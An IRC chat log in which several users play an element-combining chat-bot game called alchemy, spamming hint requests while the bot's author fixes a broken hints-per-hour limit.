[2015-01-03T14:25:00-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:25:00-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:25:00-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm
[2015-01-03T14:25:00-0500] <alchemy> You have: santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow, tool, tornado, torvalds
[2015-01-03T14:25:00-0500] <alchemy> You have: tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:25:00-0500] <alchemy> That's 112 out of 147!
[2015-01-03T14:25:01-0500] <The_Master> @possible }]"/;>.)
[2015-01-03T14:25:02-0500] <alchemy> No, you can't make }]"/;>.).
[2015-01-03T14:25:03-0500] <alokpathy> @combine mutant pingu
[2015-01-03T14:25:04-0500] <alchemy> You just discovered platypus (mutant + pingu)!
[2015-01-03T14:25:04-0500] <Tamini_> @possible mutant earth
[2015-01-03T14:25:05-0500] <The_Master> @possible }]"/;>.)'
[2015-01-03T14:25:07-0500] <alchemy> No, you can't make }]"/;>.)'.
[2015-01-03T14:25:09-0500] <alokpathy> @combine platypus sentience
[2015-01-03T14:25:10-0500] <alchemy> platypus and sentience don't make anything exciting.
[2015-01-03T14:25:14-0500] <alokpathy> @combine platypus man
[2015-01-03T14:25:15-0500] <alchemy> platypus and man don't make anything exciting.
[2015-01-03T14:25:16-0500] <alokpathy> @combine platypus energy
[2015-01-03T14:25:17-0500] <alchemy> platypus and energy don't make anything exciting.
[2015-01-03T14:25:17-0500] <Tamini_> @combine platypus blackhat
[2015-01-03T14:25:18-0500] <alchemy> platypus and blackhat don't make anything exciting.
[2015-01-03T14:25:21-0500] <alokpathy> But perry 
[2015-01-03T14:25:21-0500] <alokpathy> :(
[2015-01-03T14:25:30-0500] <alokpathy> @combine platypus science
[2015-01-03T14:25:31-0500] <alchemy> platypus and science don't make anything exciting.
[2015-01-03T14:25:32-0500] <Tamini_> perry the secret agent playypus :(
[2015-01-03T14:25:38-0500] <Tamini_> @hint
[2015-01-03T14:25:38-0500] <alchemy> Not on your life.
[2015-01-03T14:25:45-0500] <Tamini_> quick abuse hint b4 nerf
[2015-01-03T14:25:46-0500] <The_Master> @combine platypus energy
[2015-01-03T14:25:47-0500] <alchemy> platypus and energy don't make anything exciting.
[2015-01-03T14:25:51-0500] <Tamini_> @hint
[2015-01-03T14:25:51-0500] <alchemy> Nope.
[2015-01-03T14:25:51-0500] <alokpathy> @hint
[2015-01-03T14:25:52-0500] <jwoglom> @combine joy earth
[2015-01-03T14:25:52-0500] <alchemy> Hint: It's possible to make mutant with gmo!
[2015-01-03T14:25:52-0500] <The_Master> @combine platypus genius
[2015-01-03T14:25:53-0500] <alchemy> joy and earth don't make anything exciting.
[2015-01-03T14:25:54-0500] <alchemy> You just discovered perry (platypus + genius)!
[2015-01-03T14:25:56-0500] <Tamini_> @hint
[2015-01-03T14:25:56-0500] <alchemy> Hint: It's possible to make engine with metal!
[2015-01-03T14:25:58-0500] <Tamini_> LOL oh
[2015-01-03T14:25:59-0500] <alokpathy> Oh XD
[2015-01-03T14:26:00-0500] <jwoglom> @combine metal computer
[2015-01-03T14:26:00-0500] <alchemy> metal and computer don't make anything exciting.
[2015-01-03T14:26:01-0500] <Tamini_> @hint
[2015-01-03T14:26:01-0500] <alchemy> Not on your life.
[2015-01-03T14:26:03-0500] <alokpathy> @hint
[2015-01-03T14:26:03-0500] <alchemy> Hint: It's possible to make rock with music!
[2015-01-03T14:26:03-0500] <Tamini_> @hint
[2015-01-03T14:26:04-0500] <alchemy> Not this time!
[2015-01-03T14:26:07-0500] <alokpathy> Hm
[2015-01-03T14:26:08-0500] <alokpathy> @list
[2015-01-03T14:26:08-0500] <Tamini_> @combine music stone
[2015-01-03T14:26:08-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:26:08-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:26:08-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:26:08-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant, robot
[2015-01-03T14:26:08-0500] <alchemy> You have: rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow, tool
[2015-01-03T14:26:08-0500] <alchemy> You have: tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:26:08-0500] <alchemy> That's 114 out of 147!
[2015-01-03T14:26:09-0500] <alchemy> music and stone don't make anything exciting.
[2015-01-03T14:26:11-0500] <alokpathy> @combine music stone
[2015-01-03T14:26:11-0500] <alchemy> music and stone don't make anything exciting.
[2015-01-03T14:26:13-0500] <jwoglom> @combine music evil
[2015-01-03T14:26:13-0500] <alchemy> music and evil don't make anything exciting.
[2015-01-03T14:26:14-0500] <Tamini_> @combine music noise
[2015-01-03T14:26:15-0500] <alchemy> music and noise don't make anything exciting.
[2015-01-03T14:26:16-0500] <jwoglom> @combine music fire
[2015-01-03T14:26:17-0500] <alchemy> music and fire don't make anything exciting.
[2015-01-03T14:26:20-0500] <jwoglom> @combine music love
[2015-01-03T14:26:20-0500] <Tamini_> @combine music music
[2015-01-03T14:26:20-0500] <alchemy> music and love don't make anything exciting.
[2015-01-03T14:26:21-0500] <alchemy> music and music don't make anything exciting.
[2015-01-03T14:26:22-0500] <alokpathy> @combine music love
[2015-01-03T14:26:22-0500] <The_Master> @combine music music
[2015-01-03T14:26:23-0500] <alchemy> music and love don't make anything exciting.
[2015-01-03T14:26:24-0500] <Tamini_> @combine music metal
[2015-01-03T14:26:24-0500] <alchemy> music and music don't make anything exciting.
[2015-01-03T14:26:25-0500] <alchemy> You just discovered rock (music + metal)!
[2015-01-03T14:26:26-0500] <jwoglom> @combine music joy
[2015-01-03T14:26:26-0500] <alchemy> music and joy don't make anything exciting.
[2015-01-03T14:26:30-0500] <Tamini_> gotit
[2015-01-03T14:26:33-0500] <alokpathy> woo
[2015-01-03T14:26:39-0500] <alokpathy> @hint
[2015-01-03T14:26:40-0500] <alchemy> No can do, buddy.
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[2015-01-03T14:26:42-0500] <alokpathy> @hint
[2015-01-03T14:26:45-0500] <alokpathy> NOOO
[2015-01-03T14:26:47-0500] <jwoglom> :(
[2015-01-03T14:26:48-0500] alchemy (alchemy@pdgn-1fv.ggl.o6nc3t.IP) joined the channel
[2015-01-03T14:26:51-0500] <Tamini_> @hint
[2015-01-03T14:26:52-0500] <alokpathy> @hint
[2015-01-03T14:26:53-0500] <alchemy> Nope.
[2015-01-03T14:26:54-0500] <alchemy> Not this time!
[2015-01-03T14:26:55-0500] <alokpathy> @hint
[2015-01-03T14:26:56-0500] <alchemy> Not this time!
[2015-01-03T14:26:56-0500] <jwoglom> @list
[2015-01-03T14:26:56-0500] <alokpathy> @hint
[2015-01-03T14:26:56-0500] <Tamini_> @hinr
[2015-01-03T14:26:57-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:26:57-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:26:57-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:26:57-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant, robot
[2015-01-03T14:26:57-0500] <alchemy> You have: rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow
[2015-01-03T14:26:57-0500] <alchemy> You have: tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:26:57-0500] <alchemy> That's 115 out of 147!
[2015-01-03T14:26:58-0500] <alokpathy> @hint
[2015-01-03T14:26:58-0500] <alchemy> Nope.
[2015-01-03T14:26:59-0500] <alokpathy> @hint
[2015-01-03T14:26:59-0500] <Tamini_> @hint
[2015-01-03T14:27:00-0500] <alchemy> Not on your life.
[2015-01-03T14:27:00-0500] <alokpathy> @hint
[2015-01-03T14:27:01-0500] <alchemy> Not this time!
[2015-01-03T14:27:01-0500] <alokpathy> @hint
[2015-01-03T14:27:02-0500] <alchemy> Not on your life.
[2015-01-03T14:27:02-0500] <alokpathy> @hint
[2015-01-03T14:27:02-0500] <Tamini_> @hint
[2015-01-03T14:27:02-0500] <jwoglom> @combine fireman fire
[2015-01-03T14:27:03-0500] <alchemy> Not on your life.
[2015-01-03T14:27:03-0500] <alokpathy> @hint
[2015-01-03T14:27:04-0500] <alchemy> Nope.
[2015-01-03T14:27:04-0500] <Tamini_> @hint
[2015-01-03T14:27:05-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:27:06-0500] <alchemy> Nope.
[2015-01-03T14:27:07-0500] <alchemy> fireman and fire don't make anything exciting.
[2015-01-03T14:27:08-0500] <alokpathy> hardmath123: What have you done? D:
[2015-01-03T14:27:08-0500] <alchemy> No can do, buddy.
[2015-01-03T14:27:09-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:27:09-0500] <Tamini_> @hint
[2015-01-03T14:27:11-0500] <alchemy> Not on your life.
[2015-01-03T14:27:18-0500] <Tamini_> hardmath123: you havent fixed anything >.<
[2015-01-03T14:27:20-0500] <Tamini_> @hint
[2015-01-03T14:27:21-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:27:25-0500] <+hardmath123> alokpathy: i think i broke it
[2015-01-03T14:27:31-0500] <The_Master> @help
[2015-01-03T14:27:32-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2015-01-03T14:27:32-0500] <alchemy> To list your elements: `@list`
[2015-01-03T14:27:32-0500] <alchemy> Also try `@encourage`, `@possible`, and `@hint`.
[2015-01-03T14:27:32-0500] <alokpathy> hardmath123: No more hints? :(
[2015-01-03T14:27:35-0500] <+hardmath123> i can't not break stuff when i don't use git
[2015-01-03T14:27:44-0500] <jwoglom> @encourage
[2015-01-03T14:27:48-0500] <+hardmath123> alokpathy: i was trying to make a N-hints-per-hour limit
[2015-01-03T14:27:54-0500] <The_Master> @kill
[2015-01-03T14:28:04-0500] <alokpathy> hardmath123: Oops
[2015-01-03T14:28:09-0500] <alokpathy> @hint
[2015-01-03T14:28:09-0500] <alchemy> Nope.
[2015-01-03T14:28:15-0500] <alokpathy> hardmath123: So no hints at the moment?
[2015-01-03T14:28:16-0500] <The_Master> @encourage air
[2015-01-03T14:28:17-0500] <alokpathy> @hint
[2015-01-03T14:28:17-0500] <alchemy> We all believe in air.
[2015-01-03T14:28:18-0500] <alchemy> Not this time!
[2015-01-03T14:28:21-0500] <The_Master> @encourage stone
[2015-01-03T14:28:23-0500] <alchemy> I believe in stone.
[2015-01-03T14:28:25-0500] <alokpathy> lolol
[2015-01-03T14:28:26-0500] <alokpathy> @list
[2015-01-03T14:28:27-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:28:27-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:28:27-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:28:27-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant, robot
[2015-01-03T14:28:27-0500] <alchemy> You have: rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow
[2015-01-03T14:28:27-0500] <alchemy> You have: tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:28:27-0500] <alchemy> That's 115 out of 147!
[2015-01-03T14:28:27-0500] <The_Master> @encourage Ezra
[2015-01-03T14:28:28-0500] <alchemy> Hey, Ezra, did you know that being utterly lost builds character?
[2015-01-03T14:28:33-0500] <The_Master> @encourage Ezra
[2015-01-03T14:28:34-0500] <alchemy> We all believe in Ezra.
[2015-01-03T14:28:40-0500] <The_Master> @encourage hardmath123
[2015-01-03T14:28:41-0500] <alchemy> I believe in hardmath123.
[2015-01-03T14:28:43-0500] <The_Master> @encourage hardmath123
[2015-01-03T14:28:44-0500] <alchemy> It's for your own good, hardmath123.
[2015-01-03T14:28:45-0500] <The_Master> @encourage hardmath123
[2015-01-03T14:28:46-0500] <alchemy> Cheer up, hardmath123, it's only a game..
[2015-01-03T14:28:47-0500] <The_Master> @encourage hardmath123
[2015-01-03T14:28:48-0500] <alchemy> It's for your own good, hardmath123.
[2015-01-03T14:28:49-0500] <alokpathy> @encourage Tamini_ 
[2015-01-03T14:28:49-0500] <alchemy> Hey, Tamini_, did you know that being utterly lost builds character?
[2015-01-03T14:28:52-0500] <The_Master> @encourage hardmath123
[2015-01-03T14:28:53-0500] <alchemy> It's for your own good, hardmath123.
[2015-01-03T14:29:00-0500] <The_Master> @encourage alchemy
[2015-01-03T14:29:01-0500] <alchemy> I love you, alchemy.
[2015-01-03T14:29:02-0500] <Tamini_> lol
[2015-01-03T14:29:02-0500] <alokpathy> The_Master: so many pings LOL
[2015-01-03T14:29:05-0500] <jwoglom> @combine pidgeon pidgey
[2015-01-03T14:29:06-0500] <alchemy> pidgeon and pidgey don't make anything exciting.
[2015-01-03T14:29:10-0500] <alokpathy> @combine pidgey pdn
[2015-01-03T14:29:10-0500] <alchemy> You don't have pdn!
[2015-01-03T14:29:12-0500] <alokpathy> @combine pidgey pdgn
[2015-01-03T14:29:13-0500] <alchemy> pidgey and pdgn don't make anything exciting.
[2015-01-03T14:29:18-0500] <alokpathy> @combine pidgey sysadmin
[2015-01-03T14:29:18-0500] <alchemy> pidgey and sysadmin don't make anything exciting.
[2015-01-03T14:29:23-0500] <jwoglom> @combine friendship computer
[2015-01-03T14:29:24-0500] <alchemy> friendship and computer don't make anything exciting.
[2015-01-03T14:29:26-0500] <alokpathy> @combine pidgey aaron
[2015-01-03T14:29:26-0500] <alchemy> pidgey and aaron don't make anything exciting.
[2015-01-03T14:29:26-0500] <The_Master> @list
[2015-01-03T14:29:27-0500] <jwoglom> @combine friendship love
[2015-01-03T14:29:27-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:29:27-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:29:27-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:29:27-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant, robot
[2015-01-03T14:29:27-0500] <alchemy> You have: rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow
[2015-01-03T14:29:27-0500] <alchemy> You have: tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:29:27-0500] <alchemy> That's 115 out of 147!
[2015-01-03T14:29:28-0500] <alchemy> friendship and love don't make anything exciting.
[2015-01-03T14:29:42-0500] <alokpathy> @hint
[2015-01-03T14:29:42-0500] <alchemy> Not on your life.
[2015-01-03T14:29:45-0500] <alokpathy> @hint
[2015-01-03T14:29:45-0500] <alokpathy> @hint
[2015-01-03T14:29:45-0500] <alchemy> No can do, buddy.
[2015-01-03T14:29:46-0500] <alokpathy> @hint
[2015-01-03T14:29:46-0500] <jwoglom> @hint
[2015-01-03T14:29:46-0500] <alokpathy> @hint
[2015-01-03T14:29:46-0500] <alchemy> No can do, buddy.
[2015-01-03T14:29:47-0500] <alokpathy> @hint
[2015-01-03T14:29:47-0500] <alchemy> No can do, buddy.
[2015-01-03T14:29:48-0500] <alchemy> Not this time!
[2015-01-03T14:29:49-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:29:50-0500] <alchemy> Nope.
[2015-01-03T14:29:53-0500] <jwoglom> @hint
[2015-01-03T14:29:53-0500] <alokpathy> @hint
[2015-01-03T14:29:53-0500] <alchemy> No can do, buddy.
[2015-01-03T14:29:54-0500] <alokpathy> @hint
[2015-01-03T14:29:54-0500] <alchemy> Not this time!
[2015-01-03T14:29:55-0500] <alokpathy> @hint
[2015-01-03T14:29:55-0500] <alchemy> Not on your life.
[2015-01-03T14:29:56-0500] <alokpathy> @hint
[2015-01-03T14:29:57-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:29:57-0500] <alokpathy> @hint
[2015-01-03T14:29:58-0500] <alchemy> Nope.
[2015-01-03T14:29:58-0500] <alokpathy> @hint
[2015-01-03T14:29:59-0500] <alchemy> No can do, buddy.
[2015-01-03T14:29:59-0500] <alokpathy> @hint
[2015-01-03T14:29:59-0500] <alokpathy> @hint
[2015-01-03T14:30:00-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:30:00-0500] <alokpathy> @hint
[2015-01-03T14:30:01-0500] <alchemy> No can do, buddy.
[2015-01-03T14:30:01-0500] <alokpathy> @hint
[2015-01-03T14:30:02-0500] <alokpathy> @hint
[2015-01-03T14:30:02-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:30:02-0500] <alokpathy> @hint
[2015-01-03T14:30:03-0500] <alokpathy> @hint
[2015-01-03T14:30:04-0500] <alchemy> Hint: It's possible to make backstroke with man!
[2015-01-03T14:30:05-0500] <alchemy> No can do, buddy.
[2015-01-03T14:30:06-0500] <alchemy> Hint: It's possible to make nexorg with man!
[2015-01-03T14:30:07-0500] <alchemy> Nope.
[2015-01-03T14:30:08-0500] <alchemy> Nope.
[2015-01-03T14:30:11-0500] <alokpathy> Wow, finally
[2015-01-03T14:30:14-0500] <alokpathy> actual hints.
[2015-01-03T14:30:16-0500] <alokpathy> @hint
[2015-01-03T14:30:17-0500] <alchemy> Not this time!
[2015-01-03T14:30:18-0500] <alokpathy> @hint
[2015-01-03T14:30:19-0500] <alchemy> No can do, buddy.
[2015-01-03T14:30:20-0500] <alokpathy> @hint
[2015-01-03T14:30:20-0500] <alchemy> Not on your life.
[2015-01-03T14:30:20-0500] <alokpathy> @hint
[2015-01-03T14:30:21-0500] <alchemy> Nope.
[2015-01-03T14:30:21-0500] <alokpathy> @hint
[2015-01-03T14:30:22-0500] <alchemy> Not this time!
[2015-01-03T14:30:23-0500] <alokpathy> @hint
[2015-01-03T14:30:23-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:30:23-0500] <alokpathy> @hint
[2015-01-03T14:30:24-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:30:24-0500] <alokpathy> @hint
[2015-01-03T14:30:25-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:30:25-0500] <alokpathy> @hint
[2015-01-03T14:30:26-0500] <alchemy> Nope.
[2015-01-03T14:30:26-0500] <alokpathy> @hint
[2015-01-03T14:30:27-0500] <alchemy> Not this time!
[2015-01-03T14:30:28-0500] <alokpathy> @hint
[2015-01-03T14:30:28-0500] <alokpathy> @hint
[2015-01-03T14:30:29-0500] <alchemy> Hint: It's possible to make sculpture with tool!
[2015-01-03T14:30:29-0500] <alokpathy> @hint
[2015-01-03T14:30:29-0500] <Tamini_> lol
[2015-01-03T14:30:30-0500] <alchemy> Not on your life.
[2015-01-03T14:30:31-0500] <alchemy> Not this time!
[2015-01-03T14:30:33-0500] <alokpathy> @hint
[2015-01-03T14:30:34-0500] <alchemy> Not this time!
[2015-01-03T14:30:36-0500] <alokpathy> fack
[2015-01-03T14:30:38-0500] <alokpathy> @list
[2015-01-03T14:30:39-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:30:39-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:30:39-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:30:39-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant, robot
[2015-01-03T14:30:39-0500] <alchemy> You have: rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow
[2015-01-03T14:30:39-0500] <alchemy> You have: tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:30:39-0500] <alchemy> That's 115 out of 147!
[2015-01-03T14:30:39-0500] <Tamini_> @hint
[2015-01-03T14:30:40-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:30:41-0500] <The_Master> alokpathy: maybe we shouldn't exploit hints?
[2015-01-03T14:30:41-0500] <jwoglom> >alchemy | Hint: It's possible to make backstroke with man!
[2015-01-03T14:30:43-0500] <jwoglom> >You have: backstroke
[2015-01-03T14:30:46-0500] <Tamini_> @combine hint
[2015-01-03T14:30:51-0500] <alokpathy> The_Master: Maybe we should
[2015-01-03T14:30:53-0500] <Tamini_> @hint
[2015-01-03T14:30:54-0500] <alchemy> No can do, buddy.
[2015-01-03T14:30:55-0500] <alokpathy> @hint
[2015-01-03T14:30:56-0500] <alchemy> Not on your life.
[2015-01-03T14:30:57-0500] <alokpathy> @hint
[2015-01-03T14:30:58-0500] <alchemy> Not this time!
[2015-01-03T14:30:58-0500] <alokpathy> @hint
[2015-01-03T14:30:59-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:31:00-0500] <alokpathy> @hint
[2015-01-03T14:31:00-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:31:01-0500] <alokpathy> @hint
[2015-01-03T14:31:01-0500] <alchemy> Not on your life.
[2015-01-03T14:31:02-0500] <The_Master> alokpathy: good point, you never know
[2015-01-03T14:31:03-0500] <alokpathy> @hint
[2015-01-03T14:31:03-0500] <alchemy> No can do, buddy.
[2015-01-03T14:31:04-0500] <alokpathy> @hint
[2015-01-03T14:31:04-0500] <Tamini_> alokpathy: but its so fun <3
[2015-01-03T14:31:04-0500] <alchemy> Not this time!
[2015-01-03T14:31:05-0500] <alokpathy> @hint
[2015-01-03T14:31:06-0500] <alchemy> Not this time!
[2015-01-03T14:31:11-0500] <The_Master> @remind
[2015-01-03T14:31:16-0500] <The_Master> .remind
[2015-01-03T14:31:17-0500] <alokpathy> Tamini_: We didn't get anywhere without hints LOL
[2015-01-03T14:31:24-0500] <jwoglom> @hint
[2015-01-03T14:31:25-0500] <alchemy> Nope.
[2015-01-03T14:31:26-0500] <jwoglom> >You have: backstroke
[2015-01-03T14:31:28-0500] <jwoglom> >You have: backstroke
[2015-01-03T14:31:28-0500] <The_Master> @list
[2015-01-03T14:31:30-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:31:30-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:31:30-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:31:30-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant, robot
[2015-01-03T14:31:30-0500] <alchemy> You have: rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow
[2015-01-03T14:31:30-0500] <alchemy> You have: tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T14:31:30-0500] <alchemy> That's 115 out of 147!
[2015-01-03T14:31:30-0500] <jwoglom> er
[2015-01-03T14:31:32-0500] <jwoglom> @hint
[2015-01-03T14:31:33-0500] <alchemy> Nope.
[2015-01-03T14:31:37-0500] <jwoglom> @hint
[2015-01-03T14:31:38-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:31:39-0500] <jwoglom> @hint
[2015-01-03T14:31:40-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:31:42-0500] <jwoglom> @hint
[2015-01-03T14:31:42-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:31:43-0500] <jwoglom> @hint
[2015-01-03T14:31:44-0500] <alchemy> Not this time!
[2015-01-03T14:31:45-0500] <jwoglom> @hint
[2015-01-03T14:31:46-0500] <alchemy> Hint: It's possible to make zombie with man!
[2015-01-03T14:31:47-0500] <jwoglom> @hint
[2015-01-03T14:31:48-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:31:49-0500] <jwoglom> @hint
[2015-01-03T14:31:50-0500] <alchemy> Not this time!
[2015-01-03T14:31:52-0500] <alokpathy> @combine zombie aaron
[2015-01-03T14:31:53-0500] <alchemy> zombie and aaron don't make anything exciting.
[2015-01-03T14:31:57-0500] <alokpathy> @combine zombie mna
[2015-01-03T14:31:58-0500] <alchemy> You don't have mna!
[2015-01-03T14:31:59-0500] <alokpathy> @combine zombie man
[2015-01-03T14:32:00-0500] <alchemy> zombie and man don't make anything exciting.
[2015-01-03T14:32:00-0500] <The_Master> @combine zombie man
[2015-01-03T14:32:01-0500] <alchemy> zombie and man don't make anything exciting.
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[2015-01-03T14:32:08-0500] <jwoglom> why's it giving hints for things we already have..
[2015-01-03T14:32:10-0500] <The_Master> @possible god
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[2015-01-03T14:32:16-0500] <alokpathy> The_Master: It's possible.
[2015-01-03T14:32:19-0500] <alokpathy> @possible god
[2015-01-03T14:32:19-0500] <alchemy> Yeah, you can make god.
[2015-01-03T14:32:23-0500] <alokpathy> @hint
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[2015-01-03T14:32:28-0500] <+hardmath123> oh no
[2015-01-03T14:32:28-0500] <alokpathy> oops
[2015-01-03T14:32:42-0500] <Tamini_> @hint time man
[2015-01-03T14:32:43-0500] <The_Master> alokpathy: you killed it!
[2015-01-03T14:32:50-0500] <Tamini_> oop
[2015-01-03T14:32:55-0500] <alokpathy> The_Master: It was for its own good.
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[2015-01-03T14:33:04-0500] <+hardmath123> @hint
[2015-01-03T14:33:05-0500] <alchemy> Hint: It's possible to make fireman with man!
[2015-01-03T14:33:06-0500] <alchemy> You have 10 hints left this hour.
[2015-01-03T14:33:07-0500] <+hardmath123> @hint
[2015-01-03T14:33:07-0500] <alchemy> Hint: It's possible to make bug with hacker!
[2015-01-03T14:33:07-0500] <alchemy> You have 9 hints left this hour.
[2015-01-03T14:33:09-0500] <+hardmath123> @hint
[2015-01-03T14:33:10-0500] <alchemy> Not on your life.
[2015-01-03T14:33:11-0500] <+hardmath123> @hint
[2015-01-03T14:33:11-0500] <alchemy> Hint: It's possible to make mountain with wind!
[2015-01-03T14:33:11-0500] <alchemy> You have 8 hints left this hour.
[2015-01-03T14:33:16-0500] <+hardmath123> nice
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[2015-01-03T14:33:22-0500] <jwoglom> @combine hacker computer
[2015-01-03T14:33:48-0500] <alokpathy> Darn.
[2015-01-03T14:33:51-0500] <The_Master> @combine sentience hacker
[2015-01-03T14:33:55-0500] <alokpathy> Now we have to be strategic with hints.
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[2015-01-03T14:34:04-0500] <+hardmath123> ok
[2015-01-03T14:34:05-0500] <+hardmath123> so
[2015-01-03T14:34:08-0500] <+hardmath123> so
[2015-01-03T14:34:09-0500] <+hardmath123> @hint
